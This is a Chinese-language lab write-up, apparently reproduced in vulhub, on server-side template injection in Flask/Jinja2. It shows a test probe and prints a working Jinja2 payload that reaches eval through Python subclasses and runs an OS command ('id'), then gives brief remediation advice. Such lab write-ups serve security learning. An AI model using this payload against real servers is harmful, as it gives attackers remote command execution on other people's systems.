简介
漏洞复现环境为vulhub。
参考链接:
Flask是一个轻量级的可定制框架,使用Python语言编写,较其他同类型框架更为灵活、轻便、安全且容易上手。它可以很好地结合MVC模式进行开发,开发人员分工合作,小型团队在短时间内就可以完成功能丰富的中小型网站或Web服务的实现。另外,Flask还有很强的定制性,用户可以根据自己的需求来添加相应的功能,在保持核心功能简单的同时实现功能的丰富与扩展,其强大的插件库可以让用户实现个性化的网站定制,开发出功能强大的网站。(来自百度百科)
SSTI模板注入
参考链接:
https://blog.csdn.net/qq_40657585/article/details/83657220
https://blog.csdn.net/zz_Caleb/article/details/96480967
https://blog.csdn.net/Adminxe/article/details/109854743
官网:https://palletsprojects.com/p/flask/
说起Flask框架,在安全上想到它的漏洞就是SSTI(模板注入),关于这个模板我了解的不是特别多,下面展示一个小示例。
安装flask,pip install flask。
hello world示例:
#引入核心处理模块
from flask import Flask
#通过当前文件构建一个app应用,当前文件就是web app程序的入口
app = Flask(__name__)
#定义视图处理函数→路由+视图函数→加载到app中
#访问路由,没有会提示404
@app.route('/')
#绑定视图函数
def hello():
return "hello world"
#运行程序
if __name__ == '__main__':
app.run()
漏洞复现
启动docker环境,访问8000端口,出现Hello guest
字面的页面。
当访问链接:http://144.34.169.6:8000/?name={{7*8}}
时,页面展示字样Hello 56
。
这说明flask框架执行了7*8
的运算。
官方漏洞利用方法:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
把上面这一串当做name参数的值传递即可实现命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %} {% endfor %}{% endif %}{% endfor %}
python2与python3的利用方式不同,可以看参考文章中安全客的文章。
漏洞修复
针对于不同的模板引擎,该漏洞的修复方法会有所不同,但如果在传递给模板指令之前,对用户输入进行安全过滤的话,则可以大大减少这类威胁。此外,另一种防御方法是使用沙箱环境,将危险的指令删除/禁用,或者对系统环境进行安全加固。